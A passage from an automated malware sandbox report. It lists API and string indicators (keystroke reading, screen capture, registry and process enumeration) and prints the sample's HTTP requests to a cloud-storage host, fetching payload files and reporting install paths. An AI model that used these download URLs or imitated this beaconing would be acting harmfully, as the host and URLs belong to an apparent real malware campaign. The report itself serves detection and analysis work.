/xiao//upload?log=PathInit%3AC%3A%5CUsers%5CHAPUBWS%5CAppData%5CLocal%5CPrograms%5C_4199125610 HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00003376.00000001.154935.DF660000.00000004.mdmp") Found string "Hostyyuupkk789.oss-cn-hongkong.aliyuncs.comGET /xiao//upload?log=PathInit%3AC%3A%5CUsers%5CHAPUBWS%5CAppData%5CLocal%5CPrograms%5C_4199125610 HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00003376.00000001.154935.DF660000.00000004.mdmp") Found string "HTTP/1.1 404 Not Found" (Indicator: "HTTP/1.1"; Source: "00000000-00003376.00000001.154935.DF660000.00000004.mdmp, 00000000-00003376.00000003.162364.D3670000.00000004.mdmp") Found string "GET /xiao//upload?log=AddTask%3AC%3A%5CUsers%5CHAPUBWS%5CAppData%5CLocal%5CPrograms%5C_4199125610%5CDefLaunch.exe HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00003376.00000003.162364.D3670000.00000004.mdmp") Found string "Hostyyuupkk789.oss-cn-hongkong.aliyuncs.comGET /xiao//upload?log=AddTask%3AC%3A%5CUsers%5CHAPUBWS%5CAppData%5CLocal%5CPrograms%5C_4199125610%5CDefLaunch.exe HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00003376.00000003.162364.D3670000.00000004.mdmp")51:T530,GET /xiao/tg.mp4 HTTP/1.1 User-Agent: Mozilla/5.0 Host: yyuupkk789.oss-cn-hongkong.aliyuncs.com Cache-Control: no-cache GET /xiao//upload?log=PathInit%3AC%3A%5CUsers%5CHAPUBWS%5CAppData%5CLocal%5CPrograms%5C_4199125610 HTTP/1.1 Accept: */* UA-CPU: AMD64 Accept-Encoding: gzip deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: yyuupkk789.oss-cn-hongkong.aliyuncs.com Connection: Keep-Alive GET /xiao/tg.bin HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 Host: yyuupkk789.oss-cn-hongkong.aliyuncs.com GET /xiao/1.1x1 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 Host: yyuupkk789.oss-cn-hongkong.aliyuncs.com GET /xiao/1.d11 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 Host: yyuupkk789.oss-cn-hongkong.aliyuncs.com GET /xiao//upload?log=AddTask%3AC%3A%5CUsers%5CHAPUBWS%5CAppData%5CLocal%5CPrograms%5C_4199125610%5CDefLaunch.exe HTTP/1.1 Accept: */* UA-CPU: AMD64 Accept-Encoding: gzip deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: yyuupkk789.oss-cn-hongkong.aliyuncs.com Connection: Keep-Alive 52:T406,Found string ":\WINDOWS\system32\kerberos.DLL" (Indicator: "kerberos"; Source: "00000000-00003376.00000000.153016.D3670000.00000004.mdmp, 00000000-00003376.00000001.154935.D3670000.00000004.mdmp, 00000000-00003376.00000002.156855.D3670000.00000004.mdmp, 00000000-00003376.00000003.162364.D3670000.00000004.mdmp") Found string "Kerberos" (Indicator: "kerberos"; Source: "00000000-00003376.00000000.153016.D3670000.00000004.mdmp, 00000000-00003376.00000001.154935.D3670000.00000004.mdmp, 00000000-00003376.00000002.156855.D3670000.00000004.mdmp, 00000000-00003376.00000003.162364.D3670000.00000004.mdmp") Found string "Microsoft Kerberos V1.0" (Indicator: "kerberos"; Source: "00000000-00003376.00000000.153016.D3670000.00000004.mdmp, 00000000-00003376.00000001.154935.D3670000.00000004.mdmp, 00000000-00003376.00000002.156855.D3670000.00000004.mdmp, 00000000-00003376.00000003.162364.D3670000.00000004.mdmp") Found string "kerberos.dll" (Indicator: "kerberos"; Source: "00000000-00003376.00000002.156855.DF66C000.00000004.mdmp")53:T6cf,Found reference to API "BitBlt" (Indicator: "BitBlt"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "GetDCDpiScaleValue" (Indicator: "GetDC"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "GetDIBits" (Indicator: "GetDIBits"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "CreateDCW" (Indicator: "CreateDC"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "GetDCOrgEx" (Indicator: "GetDC"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "NtUserCreateDCompositionHwndTarget" (Indicator: "CreateDC"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "NtUserGetWindowDC" (Indicator: "GetWindowDC"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "NtUserBitBltSysBmp" (Indicator: "BitBlt"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "NtUserGetDCEx" (Indicator: "GetDC"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "NtUserGetDC" (Indicator: "GetDC"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin")54:T431,Found registry query API: "RegQueryValueExW" in file "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin" Found registry query API: "RegQueryInfoKeyW" in file "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin" Found registry query API: "RegOpenKeyExW" in file "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin" Found registry query API: "RegEnumValueW" in file "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin" Found registry query API: "RegGetValueW" in file "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin" Found registry query API: "NtEnumerateKey" in file "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin" Found registry query API: "NtQueryValueKey" in file "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin" Found registry query API: "RegOpenKeyExA" in "00000000-00003376.00000003.162364.DF660000.00000004.mdmp" Found registry query API: "RegQueryValueExA" in "00000000-00003376.00000003.162364.DF660000.00000004.mdmp"55:T90a,Found reference to API "NtUserVkKeyScanEx" (Indicator: "VkKeyScan"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "NtUserVkKeyScanEx" (Indicator: "VkKeyScanEx"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "NtUserUnregisterHotKey" (Indicator: "UnregisterHotKey"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "NtUserGetAsyncKeyState" (Indicator: "GetAsyncKeyState"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "NtUserGetKeyState" (Indicator: "GetKeyState"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "NtUserGetKeyNameText" (Indicator: "GetKeyNameText"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "NtUserMapVirtualKeyEx" (Indicator: "MapVirtualKey"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "NtUserRegisterHotKey" (Indicator: "RegisterHotKey"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "NtUserAttachThreadInput" (Indicator: "AttachThreadInput"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "NtUserGetKeyboardState" (Indicator: "GetKeyboardState"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "262083742538,6256,104,,GetKeyState,user32.dll,"00:41:35.375",RX=0,PX=0" (Indicator: "GetKeyState"; Source: "00000000-00003376.00000003.162364.D3670000.00000004.mdmp") Found reference to API "262083648066,6256,104,,GetKeyState,user32.dll,"00:41:35.375",RX=0,PX=0" (Indicator: "GetKeyState"; Source: "00000000-00003376.00000003.162364.D3670000.00000004.mdmp") Found reference to API "262083800474,6256,104,,GetKeyState,user32.dll,"00:41:35.375",RX=0,PX=0" (Indicator: "GetKeyState"; Source: "00000000-00003376.00000003.162364.D3670000.00000004.mdmp") Found reference to API "262083497570,6256,104,,GetKeyState,user32.dll,"00:41:35.375",RX=0,PX=0" (Indicator: "GetKeyState"; Source: "00000000-00003376.00000003.162364.D3670000.00000004.mdmp")56:T47d,Found reference to API "NtQueryInformationToken" (Indicator: "NtQueryInformationToken"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "NtQuerySecurityObject" (Indicator: "NtQuerySecurityObject"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "NtQueryInformationProcess" (Indicator: "NtQueryInformationProcess"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "NtUserGetProcessWindowStation" (Indicator: "GetProcessWindowStation"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00003376.00000003.162364.DF660000.00000004.mdmp")57:Ta1a,"g____PInvoke|279_0" (Indicator: "GetCurrentProcess"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin"), Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin"), Found reference to API "NtQueryInformationProcess" (Indicator: "QueryInformationProcess"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin"), Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin"), Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00003376.00000000.153016.40000000.00000040.mdmp 00000000-00003376.00000001.154935.40000000.00000040.mdmp 00000000-00003376.00000002.156855.40000000.00000040.mdmp 00000000-00003376.00000002.156855.D5260000.00000040.mdmp 00000000-00003376.00000002.156855.D8400000.00000004.mdmp 00000000-00003376.00000003.162364.3E1B0000.00000002.mdmp 00000000-00003376.00000003.162364.40000000.00000040.mdmp"), Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00003376.00000000.153016.40000000.00000040.mdmp 00000000-00003376.00000001.154935.40000000.00000040.mdmp 00000000-00003376.00000002.156855.40000000.00000040.mdmp 00000000-00003376.00000002.156855.D5260000.00000040.mdmp 00000000-00003376.00000002.156855.D8400000.00000004.mdmp 00000000-00003376.00000003.162364.3E1B0000.00000002.mdmp 00000000-00003376.00000003.162364.40000000.00000040.mdmp"), Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00003376.00000000.153016.40000000.00000040.mdmp 00000000-00003376.00000001.154935.40000000.00000040.mdmp 00000000-00003376.00000002.156855.40000000.00000040.mdmp 00000000-00003376.00000002.156855.D5260000.00000040.mdmp 00000000-00003376.00000002.156855.D8400000.00000004.mdmp 00000000-00003376.00000003.162364.3E1B0000.00000002.mdmp 00000000-00003376.00000003.162364.40000000.00000040.mdmp"), Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00003376.00000000.153016.40000000.00000040.mdmp 00000000-00003376.00000001.154935.40000000.00000040.mdmp 00000000-00003376.00000002.156855.40000000.00000040.mdmp 00000000-00003376.00000002.156855.D5260000.00000040.mdmp 00000000-00003376.00000002.156855.D8400000.00000004.mdmp 00000000-00003376.00000003.162364.40000000.00000040.mdmp"), Found reference to API "Process32FirstW" (Indicator: "Process32First"; Source: "00000000-00003376.00000000.153016.40000000.00000040.mdmp 00000000-00003376.00000001.154935.40000000.00000040.mdmp 00000000-00003376.00000002.156855.40000000.00000040.mdmp 00000000-00003376.00000002.156855.D5260000.00000040.mdmp 00000000-00003376.00000002.156855.D8400000.00000004.mdmp 00000000-00003376.00000003.162364.40000000.00000040.mdmp 00000000-00003376.00000003.162364.DF660000.00000004.mdmp"), Found reference to API "Process32NextW" (Indicator: "Process32Next"; Source: "00000000-00003376.00000000.153016.40000000.00000040.mdmp 00000000-00003376.00000001.154935.40000000.00000040.mdmp 00000000-00003376.00000002.156855.40000000.00000040.mdmp 00000000-00003376.00000002.156855.D5260000.00000040.mdmp 00000000-00003376.00000002.156855.D8400000.00000004.mdmp 00000000-00003376.00000003.162364.40000000.00000040.mdmp 00000000-00003376.00000003.162364.DF660000.00000004.mdmp"), Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00003376.00000000.153016.40000000.00000040.mdmp 00000000-00003376.00000001.154935.40000000.00000040.mdmp 00000000-00003376.00000002.156855.40000000.00000040.mdmp 00000000-00003376.00000002.156855.D5260000.00000040.mdmp 00000000-00003376.00000002.156855.D8400000.00000004.mdmp 00000000-00003376.00000003.162364.3E1B0000.00000002.mdmp 00000000-00003376.00000003.162364.40000000.00000040.mdmp"), Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00003376.00000000.153016.40000000.00000040.mdmp 00000000-00003376.00000001.154935.40000000.00000040.mdmp 00000000-00003376.00000002.156855.40000000.00000040.mdmp 00000000-00003376.00000002.156855.D5260000.00000040.mdmp 00000000-00003376.00000002.156855.D8400000.00000004.mdmp 00000000-00003376.00000003.162364.40000000.00000040.mdmp"), Found reference to API "8784421256 3540 3121 CreateToolhelp32Snapshot kernel32.dll "00:39:49.828" RX=0 PX=0" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00003376.00000000.153016.D3670000.00000004.mdmp"), Found reference to API "*GetCurrentProcessorId*UninterruptibleSleep0" (Indicator: "GetCurrentProcess"; Source: "00000000-00003376.00000003.162364.3E1B0000.00000002.mdmp"), Found reference to API "SleepInternal2GetCurrentProcessorNumber@" (Indicator: "GetCurrentProcess"; Source: "00000000-00003376.00000003.162364.3E1B0000.00000002.mdmp"), Found reference to API "GetLastError$GetConsoleOutputCP"GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00003376.00000003.162364.3E1B0000.00000002.mdmp")5b:T59e,Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00003376.00000000.153016.40000000.00000040.mdmp, 00000000-00003376.00000001.154935.40000000.00000040.mdmp, 00000000-00003376.00000002.156855.40000000.00000040.mdmp, 00000000-00003376.00000002.156855.D5260000.00000040.mdmp, 00000000-00003376.00000002.156855.D8400000.00000004.mdmp, 00000000-00003376.00000003.162364.3E1B0000.00000002.mdmp, 00000000-00003376.00000003.162364.40000000.00000040.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00003376.00000000.153016.40000000.00000040.mdmp, 00000000-00003376.00000001.154935.40000000.00000040.mdmp, 00000000-00003376.00000002.156855.40000000.00000040.mdmp, 00000000-00003376.00000002.156855.D5260000.00000040.mdmp, 00000000-00003376.00000002.156855.D8400000.00000004.mdmp, 00000000-00003376.00000003.162364.3E1B0000.00000002.mdmp, 00000000-00003376.00000003.162364.40000000.00000040.mdmp")5c:T5bb,Found reference to API "GetFileSize" (Indicator: "GetFileSize"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00003376.00000000.153016.40000000.00000040.mdmp, 00000000-00003376.00000001.154935.40000000.00000040.mdmp, 00000000-00003376.00000002.156855.40000000.00000040.mdmp, 00000000-00003376.00000002.156855.D5260000.00000040.mdmp, 00000000-00003376.00000002.156855.D8400000.00000004.mdmp, 00000000-00003376.00000003.162364.40000000.00000040.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00003376.00000000.153016.40000000.00000040.mdmp, 00000000-00003376.00000001.154935.40000000.00000040.mdmp, 00000000-00003376.00000002.156855.40000000.00000040.mdmp, 00000000-00003376.00000002.156855.D5260000.00000040.mdmp, 00000000-00003376.00000002.156855.D8400000.00000004.mdmp, 00000000-00003376.00000003.162364.40000000.00000040.mdmp")5d:T5e4,Found reference to API "GetModuleFileNameW" (Indicator: "GetModuleFileName"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "GetTickCount64"GetModuleFileName" (Indicator: "GetModuleFileName"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin"), Found reference to API "GetAndTrimStringJg____PInvoke|150_0" (Indicator: "GetModuleFileName"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin"), Found reference to API "GetModuleFileNameA" (Indicator: "GetModuleFileName"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin"), Found reference to API "GetModuleFileNameW" (Indicator: "GetModuleFileName"; Source: "00000000-00003376.00000000.153016.40000000.00000040.mdmp 00000000-00003376.00000001.154935.40000000.00000040.mdmp 00000000-00003376.00000002.156855.40000000.00000040.mdmp 00000000-00003376.00000002.156855.D5260000.00000040.mdmp 00000000-00003376.00000002.156855.D8400000.00000004.mdmp 00000000-00003376.00000003.162364.3E1B0000.00000002.mdmp 00000000-00003376.00000003.162364.40000000.00000040.mdmp"), Found reference to API "GetTickCount64"GetModuleFileName" (Indicator: "GetModuleFileName"; Source: "00000000-00003376.00000003.162364.3E1B0000.00000002.mdmp") Found reference to API "GetAndTrimStringJg____PInvoke|150_0" (Indicator: "GetModuleFileName"; Source: "00000000-00003376.00000003.162364.3E1B0000.00000002.mdmp")5e:T584,Found reference to API "GetEnvironmentVariableW" (Indicator: "GetEnvironmentVariable"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API ",GetEnvironmentVariable" (Indicator: "GetEnvironmentVariable"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "4GetEnvironmentVariableCoreLGetEnvironmentVariableCore_NoArrayPool" (Indicator: "GetEnvironmentVariable"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "Tg____PInvoke|300_0" (Indicator: "GetEnvironmentVariable"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API ",GetEnvironmentVariable" (Indicator: "GetEnvironmentVariable"; Source: "00000000-00003376.00000003.162364.3E1B0000.00000002.mdmp") Found reference to API "4GetEnvironmentVariableCoreLGetEnvironmentVariableCore_NoArrayPool" (Indicator: "GetEnvironmentVariable"; Source: "00000000-00003376.00000003.162364.3E1B0000.00000002.mdmp") Found reference to API "Tg____PInvoke|300_0" (Indicator: "GetEnvironmentVariable"; Source: "00000000-00003376.00000003.162364.3E1B0000.00000002.mdmp") Found reference to API "GetEnvironmentVariableW" (Indicator: "GetEnvironmentVariable"; Source: "00000000-00003376.00000003.162364.3E1B0000.00000002.mdmp")5f:T447,Found reference to API "GetTickCount64" (Indicator: "GetTickCount"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "GetTickCount64"GetModuleFileName" (Indicator: "GetTickCount"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin"), Found reference to API "GetTickCount" (Indicator: "GetTickCount"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin"), Found reference to API "GetTickCount64" (Indicator: "GetTickCount"; Source: "00000000-00003376.00000000.153016.40000000.00000040.mdmp 00000000-00003376.00000001.154935.40000000.00000040.mdmp 00000000-00003376.00000002.156855.40000000.00000040.mdmp 00000000-00003376.00000002.156855.D5260000.00000040.mdmp 00000000-00003376.00000002.156855.D8400000.00000004.mdmp 00000000-00003376.00000003.162364.3E1B0000.00000002.mdmp 00000000-00003376.00000003.162364.40000000.00000040.mdmp"), Found reference to API "GetTickCount64"GetModuleFileName" (Indicator: "GetTickCount"; Source: "00000000-00003376.00000003.162364.3E1B0000.00000002.mdmp")60:T662,Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00003376.00000000.153016.40000000.00000040.mdmp, 00000000-00003376.00000001.154935.40000000.00000040.mdmp, 00000000-00003376.00000002.156855.40000000.00000040.mdmp, 00000000-00003376.00000002.156855.D5260000.00000040.mdmp, 00000000-00003376.00000002.156855.D8400000.00000004.mdmp, 00000000-00003376.00000003.162364.40000000.00000040.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00003376.00000000.153016.40000000.00000040.mdmp, 00000000-00003376.00000001.154935.40000000.00000040.mdmp, 00000000-00003376.00000002.156855.40000000.00000040.mdmp, 00000000-00003376.00000002.156855.D5260000.00000040.mdmp, 00000000-00003376.00000002.156855.D8400000.00000004.mdmp, 00000000-00003376.00000003.162364.40000000.00000040.mdmp, 00000000-00003376.00000003.162364.DF660000.00000004.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00003376.00000000.153016.40000000.00000040.mdmp, 00000000-00003376.00000001.154935.40000000.00000040.mdmp, 00000000-00003376.00000002.156855.40000000.00000040.mdmp, 00000000-00003376.00000002.156855.D5260000.00000040.mdmp, 00000000-00003376.00000002.156855.D8400000.00000004.mdmp, 00000000-00003376.00000003.162364.40000000.00000040.mdmp")61:T5f7," _}nz@|^\"","origin":"Network Traffic","mitre_attack_id":"T1132.001","relevance":7,"id":"network-20","sources":[{"report_type":"sandbox","report_id":"69f0c5210d39b4373c093e97"}]},{"level":"informative","category":"Network Related","name":"High entropy domain detected","description":"Contacted domain: \"yyuupkk789.oss-cn-hongkong.aliyuncs.com\" has high entropy","origin":"Network Traffic","mitre_attack_id":"T1568.002","relevance":5,"id":"network-81","sources":[{"report_type":"sandbox","report_id":"69f0c5210d39b4373c093e97"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 2b8da9e558fef05fabfa78758281c38c","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"69f0c5210d39b4373c093e97"}]},{"level":"informative","category":"Network Related","name":"Makes HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"69f0c5210d39b4373c093e97"}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"Found HTTPS url \"https://aka.ms\"\n Found HTTPS url \"https://yyuupkk789.oss\"","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-98","sources":[{"report_type":"sandbox","report_id":"69f0c5210d39b4373c093e97"}]},{"level":"informative","category":"Network Related","name":"References server/domain address with port number","description":"Found ip/domain with port number \"http://172.29.64.1:8080\"","origin":"Indicator Combinations","mitre_attack_id":"T1571","id":"summary-25","sources":[{"report_type":"sandbox","report_id":"69f0c5210d39b4373c093e97"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS GET request to https://yyuupkk789.oss-cn-hongkong.aliyuncs.com/xiao/tg.mp4\n Found HTTPS GET request to https://yyuupkk789.oss-cn-hongkong.aliyuncs.com/xiao//upload?log=PathInit%3AC%3A%5CUsers%5CHAPUBWS%5CAppData%5CLocal%5CPrograms%5C_4199125610\n Found HTTPS GET request to https://yyuupkk789.oss-cn-hongkong.aliyuncs.com/xiao/tg.bin\n Found HTTPS GET request to https://yyuupkk789.oss-cn-hongkong.aliyuncs.com/xiao/1.1x1\n Found HTTPS GET request to https://yyuupkk789.oss-cn-hongkong.aliyuncs.com/xiao/1.d11\n Found HTTPS GET request to https://yyuupkk789.oss-cn-hongkong.aliyuncs.com/xiao//upload?log=AddTask%3AC%3A%5CUsers%5CHAPUBWS%5CAppData%5CLocal%5CPrograms%5C_4199125610%5CDefLaunch.exe","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"69f0c5210d39b4373c093e97"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"69f0c5210d39b4373c093e97"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"47.79.66.210\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"69f0c5210d39b4373c093e97"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - RSA algorithm (keys)","description":"YARA signature for RSA public and private key matched on file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":3,"id":"yara-62","sources":[{"report_type":"sandbox","report_id":"69f0c5210d39b4373c093e97"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Zlib compression file detected","description":"YARA signature for file using Zlib compression matched on file \"DefLaunch.exe\"","origin":"YARA Signature","mitre_attack_id":"T1132.001","relevance":3,"id":"yara-161","sources":[{"report_type":"sandbox","report_id":"69f0c5210d39b4373c093e97"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to create/switch the desktop (API string)","description":"Found reference to API \"NtUserCreateDesktopEx\" (Indicator: \"CreateDesktop\"; File: \"516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin\")\n Found reference to API \"NtUserCreateWindowStation\" (Indicator: \"CreateWindowStation\"; File: \"516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin\")\n Found reference to API \"NtUserSwitchDesktop\" (Indicator: \"SwitchDesktop\"; File: \"516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin\")","origin":"File/Memory","relevance":1,"id":"string-541","sources":[{"report_type":"sandbox","report_id":"69f0c5210d39b4373c093e97"}]},{"level":"informative","category":"Remote Access Related","name":"Contains ability to register RPC protocol sequence (API string)","description":"Found reference to API \"RpcServerUseProtseqEpW\" (Indicator: \"RpcServerUseProtseq\"; File: \"516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin\")","origin":"File/Memory","mitre_attack_id":"T1021","relevance":1,"id":"string-454","sources":[{"report_type":"sandbox","report_id":"69f0c5210d39b4373c093e97"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"ncalrpc\" (Indicator: \"ncalrpc\"; Source: \"00000000-00003376.00000000.153016.40000000.00000040.mdmp, 00000000-00003376.00000001.154935.40000000.00000040.mdmp, 00000000-00003376.00000002.156855.40000000.00000040.mdmp, 00000000-00003376.00000002.156855.D5260000.00000040.mdmp, 00000000-00003376.00000002.156855.D8400000.00000004.mdmp, 